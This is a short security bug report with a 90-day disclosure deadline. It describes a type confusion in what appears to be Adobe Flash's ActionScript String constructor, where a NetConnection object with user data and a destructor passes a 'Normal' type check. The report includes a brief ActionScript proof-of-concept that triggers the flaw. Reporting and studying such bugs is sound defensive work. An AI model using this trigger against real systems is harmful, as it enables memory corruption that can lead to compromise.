When an object is verified to be of type Normal, it should also be verified to have a null user data and desctructor. Otherwise, there are some paths that could allow type confusion, for example:
var n = new NetConnection();
this.__proto__ = n;
var y;
trace(y);
this.connect(y);
this.__proto__ = {};
this.__proto__.__constructor__ = String;
super("test");
trace(this);
In this case, the NetConnection object passes the normal check in the String constructor, because the object is of type normal and is not a function. But it still has a user data and destructor set, which cause type confusion when the String object is destroyed. PoC code and swf attached.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
